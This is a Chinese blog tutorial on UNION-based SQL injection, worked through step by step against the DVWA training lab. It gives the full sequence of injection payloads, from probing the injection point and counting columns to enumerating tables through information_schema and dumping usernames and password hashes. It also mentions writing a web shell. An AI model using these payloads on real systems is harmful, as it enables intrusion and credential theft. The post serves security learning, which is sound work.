外网学习(一) SQL注入——联合注入篇

清明假期立一个小flag,写十篇文章/doge

原理:

攻击者利用MySQL中的union 函数能够从数据库中其他表中检索数据,导致敏感信息泄露甚至写入web shell

利用条件:

1.注入点所在页面有回显

2.允许使用order by;允许使用union

步骤以及演示

以下将以DVWA中靶场作为联合注入步骤的演示

1:判断注入点

判断可能存在注入点的地方:往往是搜索框,URL栏等一切有可能与数据库交互的地方

在此靶场中Submit框和GET传参均可进行联合查询        

347420acaca843d6a4e8f42b34586e53.png

2.判断注入点位整形/字符型

判断

     1' and '1'='1

     1' and '1'='2

如果返回结果相同:即 字符=字符;为判断依据,则为字符型

如果返回结果不同:即 1=1,1=2;为判断依据,则为整形

e5bd755171ff45f98dd78fd84f590143.png

d12282ba6df84c5a8c6aafb2a9ea47f9.png

显然两条代码回显不相同,则为整形。

 

3.使用order by 推断列数

    1' order by 2 #

order by:`ORDER BY` 子句的作用是根据指定的列对SQL查询的结果集进行排序。排序只能对存在的数进行排序。例如:排序2回显正常,排序3回显不支持,则字段数为2.(即表中列数为2)

#:MySQL中的注释符,#作用为注释后面的语句,类似的还有--+.

6d871246d5314b1991bf5ada30f1348f.png

 

4.使用union,确定显错位

    1‘ union select 1,2 #

024d1e5d2aec4d849803b533e54873ac.png

由图中 1 2 位置可发现显错位

5.获取数据库库名

1' union select user(),database()#

7d4196a320f14c9ab9f57a1ea031952f.png

即替换显错位 1,2 为 user(),database()

6获取数据库中表名

1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database()#

03cc3de7b0434b7ca897fb22d41524db.png

group_concat(table_name):将table_name中的表名拼接成一个字符串(这样可以一个显错位搞定)

information_schema:是MySQL提供的系统库,有库名,表名的信息

7.获取数据库表中所有的字段

1' union select group_concat(column_name),database() from information_schema.columns where table_schema = database()#

163989e249cf4a3aabc552500e402ce4.png

8.获取字段中数据

1' union select group_concat(user),group_concat(password) from dvwa.users#

ab7dcdc852ef4d4a9a9040bc1f1c415b.png

 

 

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flyhha

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值